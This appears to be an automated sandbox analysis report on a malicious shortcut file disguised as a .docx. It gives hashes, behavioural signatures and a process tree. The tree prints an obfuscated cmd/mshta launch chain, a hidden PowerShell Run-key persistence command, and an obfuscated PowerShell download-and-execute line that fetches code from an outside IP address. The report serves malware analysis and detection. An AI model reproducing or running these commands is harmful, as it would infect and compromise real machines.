Analysis
-
max time kernel
140s -
max time network
139s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
16/07/2020, 18:21
Static task
static1
Behavioral task
behavioral1
Sample
N-388-30.06.2020.docx.lnk
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
N-388-30.06.2020.docx.lnk
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
N-388-30.06.2020.docx.lnk
-
Size
60KB
-
MD5
7b5f028144aa35afdf9f4835fa5432b8
-
SHA1
8bf59baf6a003c279e95540bfb92149f6f0ba668
-
SHA256
35bc847e8a2ac7ccb75850cf69db5a47c245ed2a4dc5e98283dfd8f7f9df59e1
-
SHA512
2dd8bf9ab657252f86de10126f4533a3fd0053f8adb6abb2e62d30aebd9fb257d036442f3383bde2ff9fac410f2613a4caccb57fd0ff04dc8c22d164a4ed9ead
Score
8/10
Malware Config
Signatures
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings mshta.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\u6qf5x8z = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\u6qf5x8z.ini'' | iex \"" powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1516 wrote to memory of 2568 1516 cmd.exe 67 PID 1516 wrote to memory of 2568 1516 cmd.exe 67 PID 2568 wrote to memory of 3620 2568 cmd.exe 68 PID 2568 wrote to memory of 3620 2568 cmd.exe 68 PID 3620 wrote to memory of 672 3620 mshta.exe 69 PID 3620 wrote to memory of 672 3620 mshta.exe 69 PID 3620 wrote to memory of 1020 3620 mshta.exe 71 PID 3620 wrote to memory of 1020 3620 mshta.exe 71 -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE 672 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1020 powershell.exe 1020 powershell.exe 1020 powershell.exe -
Blacklisted process makes network request 1 IoCs
flow pid Process 4 1020 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 672 WINWORD.EXE 672 WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Deletes itself 1 IoCs
pid Process 3620 mshta.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 1020 powershell.exe Token: SeIncreaseQuotaPrivilege 1020 powershell.exe Token: SeSecurityPrivilege 1020 powershell.exe Token: SeTakeOwnershipPrivilege 1020 powershell.exe Token: SeLoadDriverPrivilege 1020 powershell.exe Token: SeSystemProfilePrivilege 1020 powershell.exe Token: SeSystemtimePrivilege 1020 powershell.exe Token: SeProfSingleProcessPrivilege 1020 powershell.exe Token: SeIncBasePriorityPrivilege 1020 powershell.exe Token: SeCreatePagefilePrivilege 1020 powershell.exe Token: SeBackupPrivilege 1020 powershell.exe Token: SeRestorePrivilege 1020 powershell.exe Token: SeShutdownPrivilege 1020 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe Token: SeSystemEnvironmentPrivilege 1020 powershell.exe Token: SeRemoteShutdownPrivilege 1020 powershell.exe Token: SeUndockPrivilege 1020 powershell.exe Token: SeManageVolumePrivilege 1020 powershell.exe Token: 33 1020 powershell.exe Token: 34 1020 powershell.exe Token: 35 1020 powershell.exe Token: 36 1020 powershell.exe Token: SeIncreaseQuotaPrivilege 1020 powershell.exe Token: SeSecurityPrivilege 1020 powershell.exe Token: SeTakeOwnershipPrivilege 1020 powershell.exe Token: SeLoadDriverPrivilege 1020 powershell.exe Token: SeSystemProfilePrivilege 1020 powershell.exe Token: SeSystemtimePrivilege 1020 powershell.exe Token: SeProfSingleProcessPrivilege 1020 powershell.exe Token: SeIncBasePriorityPrivilege 1020 powershell.exe Token: SeCreatePagefilePrivilege 1020 powershell.exe Token: SeBackupPrivilege 1020 powershell.exe Token: SeRestorePrivilege 1020 powershell.exe Token: SeShutdownPrivilege 1020 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe Token: SeSystemEnvironmentPrivilege 1020 powershell.exe Token: SeRemoteShutdownPrivilege 1020 powershell.exe Token: SeUndockPrivilege 1020 powershell.exe Token: SeManageVolumePrivilege 1020 powershell.exe Token: 33 1020 powershell.exe Token: 34 1020 powershell.exe Token: 35 1020 powershell.exe Token: 36 1020 powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=N-388-^30.06.^2020.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! "!temp!\Temp1_За^прос.z^ip\!a!")2⤵
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\mshta.exemshta "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk "3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
- Deletes itself
PID:3620 -
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx" /o ""4⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
-
-